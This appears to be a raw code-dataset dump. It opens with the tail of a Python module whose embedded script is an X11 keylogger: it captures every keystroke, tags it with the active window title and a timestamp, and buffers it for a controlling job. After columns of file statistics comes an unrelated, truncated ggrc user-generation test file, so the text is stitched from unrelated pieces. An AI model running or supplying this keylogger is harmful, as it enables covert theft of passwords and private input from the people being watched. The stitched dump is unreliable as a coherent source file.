0x0bd8: u'\\u2283', 0x0bda: u'\\u2282', 0x0bdc: u'\\u22a2', 0x0bfc: u'\\u22a3', 0x0cdf: u'\\u2017',
0x0ce0: u'\\u05d0', 0x0ce1: u'\\u05d1', 0x0ce1: u'\\u05d1', 0x0ce2: u'\\u05d2', 0x0ce2: u'\\u05d2',
0x0ce3: u'\\u05d3', 0x0ce3: u'\\u05d3', 0x0ce4: u'\\u05d4', 0x0ce5: u'\\u05d5', 0x0ce6: u'\\u05d6',
0x0ce6: u'\\u05d6', 0x0ce7: u'\\u05d7', 0x0ce7: u'\\u05d7', 0x0ce8: u'\\u05d8', 0x0ce8: u'\\u05d8',
0x0ce9: u'\\u05d9', 0x0cea: u'\\u05da', 0x0ceb: u'\\u05db', 0x0cec: u'\\u05dc', 0x0ced: u'\\u05dd',
0x0cee: u'\\u05de', 0x0cef: u'\\u05df', 0x0cf0: u'\\u05e0', 0x0cf1: u'\\u05e1', 0x0cf1: u'\\u05e1',
0x0cf2: u'\\u05e2', 0x0cf3: u'\\u05e3', 0x0cf4: u'\\u05e4', 0x0cf5: u'\\u05e5', 0x0cf5: u'\\u05e5',
0x0cf6: u'\\u05e6', 0x0cf6: u'\\u05e6', 0x0cf7: u'\\u05e7', 0x0cf7: u'\\u05e7', 0x0cf8: u'\\u05e8',
0x0cf9: u'\\u05e9', 0x0cfa: u'\\u05ea', 0x0cfa: u'\\u05ea', 0x0da1: u'\\u0e01', 0x0da2: u'\\u0e02',
0x0da3: u'\\u0e03', 0x0da4: u'\\u0e04', 0x0da5: u'\\u0e05', 0x0da6: u'\\u0e06', 0x0da7: u'\\u0e07',
0x0da8: u'\\u0e08', 0x0da9: u'\\u0e09', 0x0daa: u'\\u0e0a', 0x0dab: u'\\u0e0b', 0x0dac: u'\\u0e0c',
0x0dad: u'\\u0e0d', 0x0dae: u'\\u0e0e', 0x0daf: u'\\u0e0f', 0x0db0: u'\\u0e10', 0x0db1: u'\\u0e11',
0x0db2: u'\\u0e12', 0x0db3: u'\\u0e13', 0x0db4: u'\\u0e14', 0x0db5: u'\\u0e15', 0x0db6: u'\\u0e16',
0x0db7: u'\\u0e17', 0x0db8: u'\\u0e18', 0x0db9: u'\\u0e19', 0x0dba: u'\\u0e1a', 0x0dbb: u'\\u0e1b',
0x0dbc: u'\\u0e1c', 0x0dbd: u'\\u0e1d', 0x0dbe: u'\\u0e1e', 0x0dbf: u'\\u0e1f', 0x0dc0: u'\\u0e20',
0x0dc1: u'\\u0e21', 0x0dc2: u'\\u0e22', 0x0dc3: u'\\u0e23', 0x0dc4: u'\\u0e24', 0x0dc5: u'\\u0e25',
0x0dc6: u'\\u0e26', 0x0dc7: u'\\u0e27', 0x0dc8: u'\\u0e28', 0x0dc9: u'\\u0e29', 0x0dca: u'\\u0e2a',
0x0dcb: u'\\u0e2b', 0x0dcc: u'\\u0e2c', 0x0dcd: u'\\u0e2d', 0x0dce: u'\\u0e2e', 0x0dcf: u'\\u0e2f',
0x0dd0: u'\\u0e30', 0x0dd1: u'\\u0e31', 0x0dd2: u'\\u0e32', 0x0dd3: u'\\u0e33', 0x0dd4: u'\\u0e34',
0x0dd5: u'\\u0e35', 0x0dd6: u'\\u0e36', 0x0dd7: u'\\u0e37', 0x0dd8: u'\\u0e38', 0x0dd9: u'\\u0e39',
0x0dda: u'\\u0e3a', 0x0ddf: u'\\u0e3f', 0x0de0: u'\\u0e40', 0x0de1: u'\\u0e41', 0x0de2: u'\\u0e42',
0x0de3: u'\\u0e43', 0x0de4: u'\\u0e44', 0x0de5: u'\\u0e45', 0x0de6: u'\\u0e46', 0x0de7: u'\\u0e47',
0x0de8: u'\\u0e48', 0x0de9: u'\\u0e49', 0x0dea: u'\\u0e4a', 0x0deb: u'\\u0e4b', 0x0dec: u'\\u0e4c',
0x0ded: u'\\u0e4d', 0x0df0: u'\\u0e50', 0x0df1: u'\\u0e51', 0x0df2: u'\\u0e52', 0x0df3: u'\\u0e53',
0x0df4: u'\\u0e54', 0x0df5: u'\\u0e55', 0x0df6: u'\\u0e56', 0x0df7: u'\\u0e57', 0x0df8: u'\\u0e58',
0x0df9: u'\\u0e59', 0x0ea1: u'\\u3131', 0x0ea2: u'\\u3132', 0x0ea3: u'\\u3133', 0x0ea4: u'\\u3134',
0x0ea5: u'\\u3135', 0x0ea6: u'\\u3136', 0x0ea7: u'\\u3137', 0x0ea8: u'\\u3138', 0x0ea9: u'\\u3139',
0x0eaa: u'\\u313a', 0x0eab: u'\\u313b', 0x0eac: u'\\u313c', 0x0ead: u'\\u313d', 0x0eae: u'\\u313e',
0x0eaf: u'\\u313f', 0x0eb0: u'\\u3140', 0x0eb1: u'\\u3141', 0x0eb2: u'\\u3142', 0x0eb3: u'\\u3143',
0x0eb4: u'\\u3144', 0x0eb5: u'\\u3145', 0x0eb6: u'\\u3146', 0x0eb7: u'\\u3147', 0x0eb8: u'\\u3148',
0x0eb9: u'\\u3149', 0x0eba: u'\\u314a', 0x0ebb: u'\\u314b', 0x0ebc: u'\\u314c', 0x0ebd: u'\\u314d',
0x0ebe: u'\\u314e', 0x0ebf: u'\\u314f', 0x0ec0: u'\\u3150', 0x0ec1: u'\\u3151', 0x0ec2: u'\\u3152',
0x0ec3: u'\\u3153', 0x0ec4: u'\\u3154', 0x0ec5: u'\\u3155', 0x0ec6: u'\\u3156', 0x0ec7: u'\\u3157',
0x0ec8: u'\\u3158', 0x0ec9: u'\\u3159', 0x0eca: u'\\u315a', 0x0ecb: u'\\u315b', 0x0ecc: u'\\u315c',
0x0ecd: u'\\u315d', 0x0ece: u'\\u315e', 0x0ecf: u'\\u315f', 0x0ed0: u'\\u3160', 0x0ed1: u'\\u3161',
0x0ed2: u'\\u3162', 0x0ed3: u'\\u3163', 0x0ed4: u'\\u11a8', 0x0ed5: u'\\u11a9', 0x0ed6: u'\\u11aa',
0x0ed7: u'\\u11ab', 0x0ed8: u'\\u11ac', 0x0ed9: u'\\u11ad', 0x0eda: u'\\u11ae', 0x0edb: u'\\u11af',
0x0edc: u'\\u11b0', 0x0edd: u'\\u11b1', 0x0ede: u'\\u11b2', 0x0edf: u'\\u11b3', 0x0ee0: u'\\u11b4',
0x0ee1: u'\\u11b5', 0x0ee2: u'\\u11b6', 0x0ee3: u'\\u11b7', 0x0ee4: u'\\u11b8', 0x0ee5: u'\\u11b9',
0x0ee6: u'\\u11ba', 0x0ee7: u'\\u11bb', 0x0ee8: u'\\u11bc', 0x0ee9: u'\\u11bd', 0x0eea: u'\\u11be',
0x0eeb: u'\\u11bf', 0x0eec: u'\\u11c0', 0x0eed: u'\\u11c1', 0x0eee: u'\\u11c2', 0x0eef: u'\\u316d',
0x0ef0: u'\\u3171', 0x0ef1: u'\\u3178', 0x0ef2: u'\\u317f', 0x0ef3: u'\\u3181', 0x0ef4: u'\\u3184',
0x0ef5: u'\\u3186', 0x0ef6: u'\\u318d', 0x0ef7: u'\\u318e', 0x0ef8: u'\\u11eb', 0x0ef9: u'\\u11f0',
0x0efa: u'\\u11f9', 0x0eff: u'\\u20a9', 0x13bc: u'\\u0152', 0x13bd: u'\\u0153', 0x13be: u'\\u0178',
0x20a0: u'\\u20a0', 0x20a1: u'\\u20a1', 0x20a2: u'\\u20a2', 0x20a3: u'\\u20a3', 0x20a4: u'\\u20a4',
0x20a5: u'\\u20a5', 0x20a6: u'\\u20a6', 0x20a7: u'\\u20a7', 0x20a8: u'\\u20a8', 0x20a9: u'\\u20a9',
0x20aa: u'\\u20aa', 0x20ab: u'\\u20ab', 0x20ac: u'\\u20ac', 0xfe50: u'\\u0300', 0xfe51: u'\\u0301',
0xfe52: u'\\u0302', 0xfe53: u'\\u0303', 0xfe54: u'\\u0304', 0xfe55: u'\\u0306', 0xfe56: u'\\u0307',
0xfe57: u'\\u0308', 0xfe58: u'\\u030a', 0xfe59: u'\\u030b', 0xfe5a: u'\\u030c', 0xfe5b: u'\\u0327',
0xfe5c: u'\\u0328', 0xfe5d: u'\\u0345', 0xfe5e: u'\\u3099', 0xfe5f: u'\\u309a', 0xff08: u'\\u0008',
0xff09: u'\\u0009', 0xff0a: u'\\u000a', 0xff0b: u'\\u000b', 0xff0d: u'\\u000d', 0xff13: u'\\u0013',
0xff14: u'\\u0014', 0xff15: u'\\u0015', 0xff1b: u'\\u001b', 0xff80: u'\\u0020', 0xff89: u'\\u0009',
0xff8d: u'\\u000d', 0xffaa: u'\\u002a', 0xffab: u'\\u002b', 0xffac: u'\\u002c', 0xffad: u'\\u002d',
0xffae: u'\\u002e', 0xffaf: u'\\u002f', 0xffb0: u'\\u0030', 0xffb1: u'\\u0031', 0xffb2: u'\\u0032',
0xffb3: u'\\u0033', 0xffb4: u'\\u0034', 0xffb5: u'\\u0035', 0xffb6: u'\\u0036', 0xffb7: u'\\u0037',
0xffb8: u'\\u0038', 0xffb9: u'\\u0039', 0xffbd: u'\\u003d', 0x06ad: u'\\u0491', 0x06bd: u'\\u0490',
0x14a2: u'\\u0587', 0x14a3: u'\\u0589', 0x14a4: u'\\u0029', 0x14a5: u'\\u0028', 0x14a6: u'\\u00bb',
0x14a7: u'\\u00ab', 0x14a8: u'\\u2014', 0x14a9: u'\\u002e', 0x14aa: u'\\u055d', 0x14ab: u'\\u002c',
0x14ac: u'\\u2013', 0x14ad: u'\\u058a', 0x14ae: u'\\u2026', 0x14af: u'\\u055c', 0x14b0: u'\\u055b',
0x14b1: u'\\u055e', 0x14b2: u'\\u0531', 0x14b3: u'\\u0561', 0x14b4: u'\\u0532', 0x14b5: u'\\u0562',
0x14b6: u'\\u0533', 0x14b7: u'\\u0563', 0x14b8: u'\\u0534', 0x14b9: u'\\u0564', 0x14ba: u'\\u0535',
0x14bb: u'\\u0565', 0x14bc: u'\\u0536', 0x14bd: u'\\u0566', 0x14be: u'\\u0537', 0x14bf: u'\\u0567',
0x14c0: u'\\u0538', 0x14c1: u'\\u0568', 0x14c2: u'\\u0539', 0x14c3: u'\\u0569', 0x14c4: u'\\u053a',
0x14c5: u'\\u056a', 0x14c6: u'\\u053b', 0x14c7: u'\\u056b', 0x14c8: u'\\u053c', 0x14c9: u'\\u056c',
0x14ca: u'\\u053d', 0x14cb: u'\\u056d', 0x14cc: u'\\u053e', 0x14cd: u'\\u056e', 0x14ce: u'\\u053f',
0x14cf: u'\\u056f', 0x14d0: u'\\u0540', 0x14d1: u'\\u0570', 0x14d2: u'\\u0541', 0x14d3: u'\\u0571',
0x14d4: u'\\u0542', 0x14d5: u'\\u0572', 0x14d6: u'\\u0543', 0x14d7: u'\\u0573', 0x14d8: u'\\u0544',
0x14d9: u'\\u0574', 0x14da: u'\\u0545', 0x14db: u'\\u0575', 0x14dc: u'\\u0546', 0x14dd: u'\\u0576',
0x14de: u'\\u0547', 0x14df: u'\\u0577', 0x14e0: u'\\u0548', 0x14e1: u'\\u0578', 0x14e2: u'\\u0549',
0x14e3: u'\\u0579', 0x14e4: u'\\u054a', 0x14e5: u'\\u057a', 0x14e6: u'\\u054b', 0x14e7: u'\\u057b',
0x14e8: u'\\u054c', 0x14e9: u'\\u057c', 0x14ea: u'\\u054d', 0x14eb: u'\\u057d', 0x14ec: u'\\u054e',
0x14ed: u'\\u057e', 0x14ee: u'\\u054f', 0x14ef: u'\\u057f', 0x14f0: u'\\u0550', 0x14f1: u'\\u0580',
0x14f2: u'\\u0551', 0x14f3: u'\\u0581', 0x14f4: u'\\u0552', 0x14f5: u'\\u0582', 0x14f6: u'\\u0553',
0x14f7: u'\\u0583', 0x14f8: u'\\u0554', 0x14f9: u'\\u0584', 0x14fa: u'\\u0555', 0x14fb: u'\\u0585',
0x14fc: u'\\u0556', 0x14fd: u'\\u0586', 0x14fe: u'\\u055a', 0x14ff: u'\\u00a7', 0x15d0: u'\\u10d0',
0x15d1: u'\\u10d1', 0x15d2: u'\\u10d2', 0x15d3: u'\\u10d3', 0x15d4: u'\\u10d4', 0x15d5: u'\\u10d5',
0x15d6: u'\\u10d6', 0x15d7: u'\\u10d7', 0x15d8: u'\\u10d8', 0x15d9: u'\\u10d9', 0x15da: u'\\u10da',
0x15db: u'\\u10db', 0x15dc: u'\\u10dc', 0x15dd: u'\\u10dd', 0x15de: u'\\u10de', 0x15df: u'\\u10df',
0x15e0: u'\\u10e0', 0x15e1: u'\\u10e1', 0x15e2: u'\\u10e2', 0x15e3: u'\\u10e3', 0x15e4: u'\\u10e4',
0x15e5: u'\\u10e5', 0x15e6: u'\\u10e6', 0x15e7: u'\\u10e7', 0x15e8: u'\\u10e8', 0x15e9: u'\\u10e9',
0x15ea: u'\\u10ea', 0x15eb: u'\\u10eb', 0x15ec: u'\\u10ec', 0x15ed: u'\\u10ed', 0x15ee: u'\\u10ee',
0x15ef: u'\\u10ef', 0x15f0: u'\\u10f0', 0x15f1: u'\\u10f1', 0x15f2: u'\\u10f2', 0x15f3: u'\\u10f3',
0x15f4: u'\\u10f4', 0x15f5: u'\\u10f5', 0x15f6: u'\\u10f6', 0x12a1: u'\\u1e02', 0x12a2: u'\\u1e03',
0x12a6: u'\\u1e0a', 0x12a8: u'\\u1e80', 0x12aa: u'\\u1e82', 0x12ab: u'\\u1e0b', 0x12ac: u'\\u1ef2',
0x12b0: u'\\u1e1e', 0x12b1: u'\\u1e1f', 0x12b4: u'\\u1e40', 0x12b5: u'\\u1e41', 0x12b7: u'\\u1e56',
0x12b8: u'\\u1e81', 0x12b9: u'\\u1e57', 0x12ba: u'\\u1e83', 0x12bb: u'\\u1e60', 0x12bc: u'\\u1ef3',
0x12bd: u'\\u1e84', 0x12be: u'\\u1e85', 0x12bf: u'\\u1e61', 0x12d0: u'\\u0174', 0x12d7: u'\\u1e6a',
0x12de: u'\\u0176', 0x12f0: u'\\u0175', 0x12f7: u'\\u1e6b', 0x12fe: u'\\u0177', 0x0590: u'\\u06f0',
0x0591: u'\\u06f1', 0x0592: u'\\u06f2', 0x0593: u'\\u06f3', 0x0594: u'\\u06f4', 0x0595: u'\\u06f5',
0x0596: u'\\u06f6', 0x0597: u'\\u06f7', 0x0598: u'\\u06f8', 0x0599: u'\\u06f9', 0x05a5: u'\\u066a',
0x05a6: u'\\u0670', 0x05a7: u'\\u0679', 0x05a8: u'\\u067e', 0x05a9: u'\\u0686', 0x05aa: u'\\u0688',
0x05ab: u'\\u0691', 0x05ae: u'\\u06d4', 0x05b0: u'\\u0660', 0x05b1: u'\\u0661', 0x05b2: u'\\u0662',
0x05b3: u'\\u0663', 0x05b4: u'\\u0664', 0x05b5: u'\\u0665', 0x05b6: u'\\u0666', 0x05b7: u'\\u0667',
0x05b8: u'\\u0668', 0x05b9: u'\\u0669', 0x05f3: u'\\u0653', 0x05f4: u'\\u0654', 0x05f5: u'\\u0655',
0x05f6: u'\\u0698', 0x05f7: u'\\u06a4', 0x05f8: u'\\u06a9', 0x05f9: u'\\u06af', 0x05fa: u'\\u06ba',
0x05fb: u'\\u06be', 0x05fc: u'\\u06cc', 0x05fd: u'\\u06d2', 0x05fe: u'\\u06c1', 0x0680: u'\\u0492',
0x0681: u'\\u0496', 0x0682: u'\\u049a', 0x0683: u'\\u049c', 0x0684: u'\\u04a2', 0x0685: u'\\u04ae',
0x0686: u'\\u04b0', 0x0687: u'\\u04b2', 0x0688: u'\\u04b6', 0x0689: u'\\u04b8', 0x068a: u'\\u04ba',
0x068c: u'\\u04d8', 0x068d: u'\\u04e2', 0x068e: u'\\u04e8', 0x068f: u'\\u04ee', 0x0690: u'\\u0493',
0x0691: u'\\u0497', 0x0692: u'\\u049b', 0x0693: u'\\u049d', 0x0694: u'\\u04a3', 0x0695: u'\\u04af',
0x0696: u'\\u04b1', 0x0697: u'\\u04b3', 0x0698: u'\\u04b7', 0x0699: u'\\u04b9', 0x069a: u'\\u04bb',
0x069c: u'\\u04d9', 0x069d: u'\\u04e3', 0x069e: u'\\u04e9', 0x069f: u'\\u04ef', 0x16a3: u'\\u1e8a',
0x16a6: u'\\u012c', 0x16a9: u'\\u01b5', 0x16aa: u'\\u01e6', 0x16af: u'\\u019f', 0x16b3: u'\\u1e8b',
0x16b6: u'\\u012d', 0x16b9: u'\\u01b6', 0x16ba: u'\\u01e7', 0x16bd: u'\\u01d2', 0x16bf: u'\\u0275',
0x16c6: u'\\u018f', 0x16f6: u'\\u0259', 0x16d1: u'\\u1e36', 0x16e1: u'\\u1e37', 0x1ea0: u'\\u1ea0',
0x1ea1: u'\\u1ea1', 0x1ea2: u'\\u1ea2', 0x1ea3: u'\\u1ea3', 0x1ea4: u'\\u1ea4', 0x1ea5: u'\\u1ea5',
0x1ea6: u'\\u1ea6', 0x1ea7: u'\\u1ea7', 0x1ea8: u'\\u1ea8', 0x1ea9: u'\\u1ea9', 0x1eaa: u'\\u1eaa',
0x1eab: u'\\u1eab', 0x1eac: u'\\u1eac', 0x1ead: u'\\u1ead', 0x1eae: u'\\u1eae', 0x1eaf: u'\\u1eaf',
0x1eb0: u'\\u1eb0', 0x1eb1: u'\\u1eb1', 0x1eb2: u'\\u1eb2', 0x1eb3: u'\\u1eb3', 0x1eb4: u'\\u1eb4',
0x1eb5: u'\\u1eb5', 0x1eb6: u'\\u1eb6', 0x1eb7: u'\\u1eb7', 0x1eb8: u'\\u1eb8', 0x1eb9: u'\\u1eb9',
0x1eba: u'\\u1eba', 0x1ebb: u'\\u1ebb', 0x1ebc: u'\\u1ebc', 0x1ebd: u'\\u1ebd', 0x1ebe: u'\\u1ebe',
0x1ebf: u'\\u1ebf', 0x1ec0: u'\\u1ec0', 0x1ec1: u'\\u1ec1', 0x1ec2: u'\\u1ec2', 0x1ec3: u'\\u1ec3',
0x1ec4: u'\\u1ec4', 0x1ec5: u'\\u1ec5', 0x1ec6: u'\\u1ec6', 0x1ec7: u'\\u1ec7', 0x1ec8: u'\\u1ec8',
0x1ec9: u'\\u1ec9', 0x1eca: u'\\u1eca', 0x1ecb: u'\\u1ecb', 0x1ecc: u'\\u1ecc', 0x1ecd: u'\\u1ecd',
0x1ece: u'\\u1ece', 0x1ecf: u'\\u1ecf', 0x1ed0: u'\\u1ed0', 0x1ed1: u'\\u1ed1', 0x1ed2: u'\\u1ed2',
0x1ed3: u'\\u1ed3', 0x1ed4: u'\\u1ed4', 0x1ed5: u'\\u1ed5', 0x1ed6: u'\\u1ed6', 0x1ed7: u'\\u1ed7',
0x1ed8: u'\\u1ed8', 0x1ed9: u'\\u1ed9', 0x1eda: u'\\u1eda', 0x1edb: u'\\u1edb', 0x1edc: u'\\u1edc',
0x1edd: u'\\u1edd', 0x1ede: u'\\u1ede', 0x1edf: u'\\u1edf', 0x1ee0: u'\\u1ee0', 0x1ee1: u'\\u1ee1',
0x1ee2: u'\\u1ee2', 0x1ee3: u'\\u1ee3', 0x1ee4: u'\\u1ee4', 0x1ee5: u'\\u1ee5', 0x1ee6: u'\\u1ee6',
0x1ee7: u'\\u1ee7', 0x1ee8: u'\\u1ee8', 0x1ee9: u'\\u1ee9', 0x1eea: u'\\u1eea', 0x1eeb: u'\\u1eeb',
0x1eec: u'\\u1eec', 0x1eed: u'\\u1eed', 0x1eee: u'\\u1eee', 0x1eef: u'\\u1eef', 0x1ef0: u'\\u1ef0',
0x1ef1: u'\\u1ef1', 0x1ef4: u'\\u1ef4', 0x1ef5: u'\\u1ef5', 0x1ef6: u'\\u1ef6', 0x1ef7: u'\\u1ef7',
0x1ef8: u'\\u1ef8', 0x1ef9: u'\\u1ef9', 0x1efa: u'\\u01a0', 0x1efb: u'\\u01a1', 0x1efc: u'\\u01af',
0x1efd: u'\\u01b0', 0x1e9f: u'\\u0303', 0x1ef2: u'\\u0300', 0x1ef3: u'\\u0301', 0x1efe: u'\\u0309',
0x1eff: u'\\u0323', 0xfe60: u'\\u0323', 0xfe61: u'\\u0309', 0xfe62: u'\\u031b',
}.get(ks)
class NotAvailable(Exception):
pass
job_message_buffer(str(x11)+' '+str(xi)+'\\n')
daemon = False
stopped = False
last_clipboard = ""
state = set()
group = 0
level = 0
display = None
x11 = x11
xi = xi
XkbEventCode = ct.c_int(0)
XkbErrorReturn = ct.c_int(0)
XkbMajorVersion = ct.c_int(1)
XkbMinorVersion = ct.c_int(0)
XkbReasonReturn = ct.c_int(0)
if x11:
display = x11.XkbOpenDisplay(
None,
ct.pointer(XkbEventCode), ct.pointer(XkbErrorReturn),
ct.pointer(XkbMajorVersion), ct.pointer(XkbMinorVersion),
ct.pointer(XkbReasonReturn)
)
def get_active_window():
window = ct.c_ulong()
dw = ct.c_int()
if not ( x11.XGetInputFocus(
display, ct.pointer(window), ct.pointer(dw)
) and window ):
return
return window
def get_window_title(window):
if not window:
return
hint = ClassHint()
if x11.XGetClassHint(display, window, ct.pointer(hint)):
return hint.name
def get_window_name(window):
prop = XTextProperty()
x11.XGetWMName(display, window, ct.pointer(prop))
state = ct.c_char_p("WM_STATE")
onlyifexist = ct.c_bool(False)
atom = x11.XInternAtom(display, state, False)
refs = (ct.byref(ct.c_ulong()), ct.byref(ct.c_int()), ct.byref(ct.c_ulong()))
buf_len = ct.c_ulong()
buf = ct.c_char_p()
x11.XGetWindowProperty(display, window, atom, 0, 0, False,
0, refs[0], refs[1], refs[2],
ct.byref(buf_len), ct.byref(buf))
if buf.value is None:
root_return, parent_return, children_return, nchildren_return = (ct.byref(ct.c_ulong()), ct.pointer(ct.c_ulong()), ct.pointer(ct.c_ulong()), ct.c_uint())
x11.XQueryTree(display, window, root_return, parent_return, children_return, ct.pointer(nchildren_return))
x11.XGetWMName(display, parent_return.contents, ct.pointer(prop))
return prop.value
def get_active_window_title():
return get_window_title(get_active_window())
def append_key_buff(k):
if k:
window = get_active_window()
if str(append_key_buff.last_window) != str(window):
job_message_buffer("\\n%s: %s\\n"%(strftime("%d-%m-%Y %H:%M:%S"), \
get_window_name(window)))
append_key_buff.last_window = window
job_message_buffer(k)
append_key_buff.last_window = None
def poll(callback, sleep_interval=.01):
while not stopped:
sleep(sleep_interval)
released, group, level = fetch_keys_poll()
callback(to_keysyms(released, group, level))
def xinput(callback):
if not xi:
raise NotAvailable()
xi_opcode = ct.c_int()
xi_event = ct.c_int()
xi_error = ct.c_int()
if not x11.XQueryExtension(
display,
'XInputExtension',
ct.pointer(xi_opcode), ct.pointer(xi_event), ct.pointer(xi_error)
):
return NotAvailable()
root_win = x11.XDefaultRootWindow(display)
job_message_buffer(str(root_win))
eventmask = XiEventMask()
eventmask.deviceid = 0
eventmask.mask_len = XiMaxLen()
mask = (ct.c_byte*eventmask.mask_len)()
XiSetMask(mask, 2) # KeyPress
eventmask.mask = ct.cast(ct.pointer(mask), ct.c_void_p)
xi.XISelectEvents(display, root_win, ct.cast(ct.pointer(eventmask), ct.c_void_p), 1)
x11.XMapWindow(display, root_win)
x11.XSync(display, 0)
while not stopped:
event = XEvent()
x11.XNextEvent(display, ct.pointer(event))
x11.XGetEventData(display, ct.pointer(event.cookie))
if event.cookie.type == 35 and event.cookie.extension == xi_opcode.value:
xievent = ct.cast(event.cookie.data, ct.POINTER(XIDeviceEvent)).contents
callback(to_keysyms(
[xievent.detail],
xievent.group.effective,
xievent.mods.effective
))
x11.XFreeEventData(display, ct.pointer(event.cookie))
x11.XDestroyWindow(display, root_win)
def run():
try:
xinput(append_key_buff)
except NotAvailable:
job_message_buffer("poll")
poll(append_key_buff)
except:
import traceback
job_message_buffer("Exception\\n"+traceback.format_exc())
def stop():
stopped = True
def dump():
res = u''.join(buffer)
buffer = []
return res
def fetch_keys_poll():
state = XkbState()
x11.XkbGetState(display, 0x0100, ct.pointer(state))
group = ord(state.group)
level = ord(state.locked_mods) & 1
keyboard = ct.c_buffer(32)
x11.XQueryKeymap(display, keyboard)
current = set()
for byte, value in enumerate(keyboard):
value = ord(value)
if not value:
continue
for bit in xrange(8):
if value & (1 << bit):
current.add(byte*8 + bit)
released = set(x for x in state if not x in current and x)
state = current
group, group = group, group
level, level = level, level
return released, group, level
def to_keysyms(released, group, level):
keys = set()
for k in set(released):
# We incorrectly guess level here, but in 99% real life cases shift means level1
# Also some things may not be available in group, so fallback to default one
ks = x11.XkbKeycodeToKeysym(display, k, group, level)
if not ks:
ks = x11.XkbKeycodeToKeysym(display, k, 0, level)
if not ks:
ks = x11.XkbKeycodeToKeysym(display, k, 0, 0)
if ((ks >> 8) & 0xFF) == 0xFE or ks in (0xffe2, 0xffe3, 0xffe5, 0xffe6):
# Ignore group shifts and shift key info
continue
uks = keysym_to_unicode(ks)
xk = keysym_to_XK(ks)
if xk:
keys.add(u'<{}>'.format(xk))
elif uks:
keys.add(uks)
elif ks:
keys.add(u'{{{}}}'.format(ks))
return u''.join(keys)
run()
job_message_buffer('[!] Keylogger exited\\n')
"""
return script
| 61.327434
| 163
| 0.572686
| 6,562
| 48,510
| 4.15605
| 0.503353
| 0.019691
| 0.01617
| 0.01848
| 0.082356
| 0.059218
| 0.047448
| 0.045431
| 0.044588
| 0.037291
| 0
| 0.250407
| 0.20303
| 48,510
| 790
| 164
| 61.405063
| 0.455006
| 0.021192
| 0
| 0.069565
| 0
| 0.413043
| 0.975895
| 0.070545
| 0
| 0
| 0.199414
| 0
| 0
| 1
| 0.002899
| false
| 0.001449
| 0.008696
| 0
| 0.031884
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f022ec5e082fbc43d26e26a2ed0bd0f996be0a31
| 23,235
|
py
|
Python
|
test/integration/ggrc/utils/test_user_generator.py
|
mrR2D2/ggrc-core
|
f4f92628de4490512fcc9511be28e6cf1b875e14
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
test/integration/ggrc/utils/test_user_generator.py
|
mrR2D2/ggrc-core
|
f4f92628de4490512fcc9511be28e6cf1b875e14
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
test/integration/ggrc/utils/test_user_generator.py
|
mrR2D2/ggrc-core
|
f4f92628de4490512fcc9511be28e6cf1b875e14
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2020-02-13T12:32:45.000Z
|
2020-02-13T12:32:45.000Z
|
# Copyright (C) 2019 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""Tests for user generator"""
from collections import OrderedDict
import json
import ddt
import mock
from freezegun import freeze_time
from ggrc.converters import errors
from ggrc.integrations.client import PersonClient
from ggrc.models import all_models
from ggrc.models import Assessment
from ggrc.models import AssessmentTemplate
from ggrc.models import Audit
from ggrc.models import Person
from ggrc_basic_permissions.models import UserRole
from integration.ggrc.services import TestCase
from integration.ggrc.models import factories
@ddt.ddt
class TestUserGenerator(TestCase):
"""Test user generation."""
def setUp(self):
super(TestUserGenerator, self).setUp()
self.clear_data()
self.client.get("/login")
def _post(self, data):
return self.client.post(
'/api/people',
content_type='application/json',
data=data,
headers=[('X-Requested-By', 'Unit Tests')],
)
@staticmethod
def _mock_post(*args, **kwargs):
"""Mock of IntegrationService _post"""
# pylint: disable=unused-argument
payload = kwargs["payload"]
res = []
for name in payload["usernames"]:
res.append({'firstName': name,
'lastName': name,
'username': name})
return {'persons': res}
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-21 10:28:34")
def test_users_generation(self):
"""Test user generation."""
with mock.patch.multiple(PersonClient, _post=self._mock_post):
data = json.dumps([
{'person': {
'name': 'Alan Turing',
'email': 'aturing@example.com',
'context': None,
'external': True
}},
{'person': {
'name': 'Alan Turing 2',
'email': 'aturing2@example.com',
'context': None,
'external': True
}},
{'person': {
'name': 'Alan Turing 3',
'email': 'aturing_3@example.com',
'context': None,
'external': True
}}
])
response = self._post(data)
self.assertStatus(response, 200)
user = Person.query.filter_by(email='aturing@example.com').one()
self.assertEqual(user.name, 'Alan Turing')
roles = UserRole.query.filter_by(person_id=user.id)
self.assertEqual(roles.count(), 1)
self.assertEqual(response.json[0][1]['person']['id'], user.id)
# checks person profile was created successfully
self.assert_profiles_restrictions()
emails = ['aturing@example.com', ]
self.assert_person_profile_created(emails)
self.assertEqual(all_models.Event.query.count(), 1)
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-21 10:28:34")
def test_user_generation(self):
"""Test user generation."""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
data = json.dumps([{'person': {
'name': 'Alan Turing',
'email': 'aturing@example.com',
'context': None,
'external': True
}}])
response = self._post(data)
self.assertStatus(response, 200)
user = Person.query.filter_by(email='aturing@example.com').one()
self.assertEqual(user.name, 'Alan Turing')
roles = UserRole.query.filter_by(person_id=user.id)
self.assertEqual(roles.count(), 1)
# checks person profile was created successfully
emails = ['aturing@example.com', ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-21 10:26:34")
def test_user_creation(self):
"""Test user creation."""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
data = json.dumps([{'person': {
'name': 'Alan Turing',
'email': 'aturing@example.com',
'context': None
}}])
response = self._post(data)
self.assertStatus(response, 200)
user = Person.query.filter_by(email='aturing@example.com').one()
self.assertEqual(user.name, 'Alan Turing')
roles = UserRole.query.filter_by(person_id=user.id)
self.assertEqual(roles.count(), 0)
# checks person profile was created successfully
